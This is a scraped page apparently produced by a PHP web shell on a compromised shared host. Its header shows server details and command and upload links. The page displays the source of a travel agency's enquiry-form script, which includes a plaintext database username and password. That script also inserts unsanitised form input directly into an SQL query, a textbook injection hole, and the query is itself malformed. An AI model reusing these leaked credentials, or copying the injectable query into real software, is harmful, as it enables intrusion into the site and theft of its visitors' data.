Server IP : 103.53.40.154 / Your IP : 3.128.31.76 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/fastelevator.in/../herbalhairoil.in/../alkareemtravel.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $servername = "localhost"; $username = "alkareem_alkareemtravel"; $password = ",e@hnr0KQ8_x"; $dbname = "alkareem_alkareemtravel"; // Create connection $conn = new mysqli($servername, $username, $password, $dbname); if(isset($_POST['save'])) { $enquiry_name=$_POST['enquiry_name']; // $enquiry_lname=$_POST['enquiry_lname']; $enquiry_mobile=$_POST['enquiry_mobile']; $enquiry_email=$_POST['enquiry_email']; $enquiry_detail=$_POST['enquiry_detail']; $enquiry_source=$_POST['enquiry_source']; $img=$_POST['img']; // $enquiry_add_date=date("Y/m/d"); $sql="INSERT INTO `tbl_enquiry`(enquiry_name,enquiry_mobile, enquiry_email, enquiry_detail,enquiry_source, img) VALUES ('$enquiry_name', $enquiry_mobile', '$enquiry_email', '$enquiry_detail', '$enquiry_source','$img')"; $query_run = mysqli_query($conn,$sql); if ($query_run) { // $msg="Your Message Send Successfully"; echo "<script>alert('Successfully Submitted'); window.location = 'enquiry-form.php';</script>"; } else { echo "Your record not created"; } // print_r($sql); // die(); // $query = "insert into `cvdet` (`name`,`email`,`phone`,`location`,`images`) VALUES ('$name','$email','$phone','$location','$images') "; // $query_run = mysqli_query($conn,$query); // if($query_run){ // echo "products add done"; // }else{ // echo "products not add"; // } } ?> <!DOCTYPE html> <html lang="en"> <meta http-equiv="content-type" content="text/html;charset=UTF-8" /> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Al Kareem Travel</title> <meta name="keywords" content=""/> <meta name="description" content=""> <meta name="author" content="Al Kareem Travel"> <LINK REL="SHORTCUT ICON" HREF="favicon1.ico"> <link rel="stylesheet" href="css/bootstrap.min.css" /> <link rel="stylesheet" href="css/font-awesome.min.css" /> <link rel="stylesheet" href="css/owl.carousel.css" /> <link rel="stylesheet" href="css/owl.theme.css" /> <link rel="stylesheet" href="css/magnific-popup.css" /> <link rel="stylesheet" href="css/fonts.css" /> <link rel="stylesheet" href="css/style.css" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script> $(function(){ $("#header-follow-us-link-section").load("header-social-media-link.html"); $("#footer-follow-us-link-section").load("footer-social-media-link.html"); }); </script> </head> <!--hidden-sm hidden-xs--> <body> <div class="body"> <?php include('header.php');?> <div class="main"> <section class="about-us"> <div class="container"> <div class="row"> <div class="col-md-12 palovit-title"> <hr class="hr"> <h2 style="color:#FFF">Enquiry Form</h2> </div> <div> </div> </div> </div> </section> <!-- Slider end here --> <section class="news3 border-top p-t-30 p-b-50"> <div class="container"> <div class="row clearfix"> <div class="col-md-12 palovit-title"> <h2 style="text-align:left">Enquiry Form <br><?=$msg?></h2> <hr class="hr clear" / style="float:left;"> </div> <div class="col-md-12 padding-top20"> <div class="accordion bg-light border" id="accordionExample"> <div class="card"> <div class="card-header" id="<?=$x.'headingOne'?>"> <h2 class="mb-0"> <button class="btn btn-link" type="button" data-toggle="collapse" data-target="#<?=$x.'collapseOne'?>" aria-expanded="true" aria-controls="<?=$x.'collapseOne'?>"> <span style="color:orange;"> </span> </button> </h2> </div> <div id="" class="collapse sho" aria-labelledby="" data-parent="#accordionExample"> <div class="card-body"> </div> </div> </div> <div class="col-md-12"> <p> <?=$msg?> </p> <br> <form method="POST" action = "enquiry_form_mail.php" enctype="multipart/form-data"> <div class="col-md-6"> <div class="form-group"> <input type="text" class="validate[required] form-control" id="sender_name" name="enquiry_name" placeholder="Your Full Name *" required> </div> </div> <!--<div class="col-md-6">--> <!--<div class="form-group">--> <!--<input type="text" class="validate[required] form-control" id="sender_name" name="enquiry_lname" placeholder="Last Name *" required>--> <!--</div>--> <!--</div>--> <!--<div class="col-md-6">--> <!--<div class="form-group">--> <!--<input type="text" class="validate[required] form-control" id="sender_name" name="enquiry_com" placeholder="Company Name *" required>--> <!--</div>--> <!--</div>--> <div class="col-md-6"> <div class="form-group"> <input type="email" class="validate[required] form-control" id="sender_name" name="enquiry_email" placeholder="Email Address *" required> </div> </div><div class="col-md-6"> <div class="form-group"> <input type="file" class="validate[required] form-control" id="sender_file" name="file" placeholder="Uplode Your CV *" required> </div> </div> <!--<div class="col-md-6">--> <!--<div class="form-group">--> <!--<input type="text" class="validate[required] form-control" id="sender_name" name="enquiry_sub" placeholder="Subject *" required>--> <!--</div>--> <!--</div>--> <div class="col-md-6"> <div class="form-group"> <input type="number" class="validate[required] form-control" id="sender_mobile" name="enquiry_mobile" placeholder="Contact Number *" required> </div> </div> <div class="col-md-6"> <div class="form-group"> <input type="hidden" name="enquiry_source" value ="CV Form" readonly> </div> </div> <div class="col-md-12"> <div class="form-group"> <labal>About Your Self</labal> <textarea class="validate[required] form-control" id="sender_mobile" name="enquiry_detail" required> </textarea> </div> </div> <div class="col-md-12"> <div class="form-group"> <button type="submit" name="save" class="btn btn-success btn-block btn_style1" >SEND QUERY</button> </div> </div> </form> </div> </div> <div> </div> </div> </div> </div> </section> <?php include('footer.php');?> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-147438744-1'); </script> </div> <script src="js/jquery-3.1.1.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/isotope.pkgd.min.js"></script> <!-- <script src="js/owl.carousel.min.js"></script>--> <script src="js/jquery.magnific-popup.min.js"></script> <script> $('ul.nav li.dropdown').hover(function() { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeIn(200); }, function() { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeOut(200); }); </script> <script src="js/Script.js"></script> </body> </html>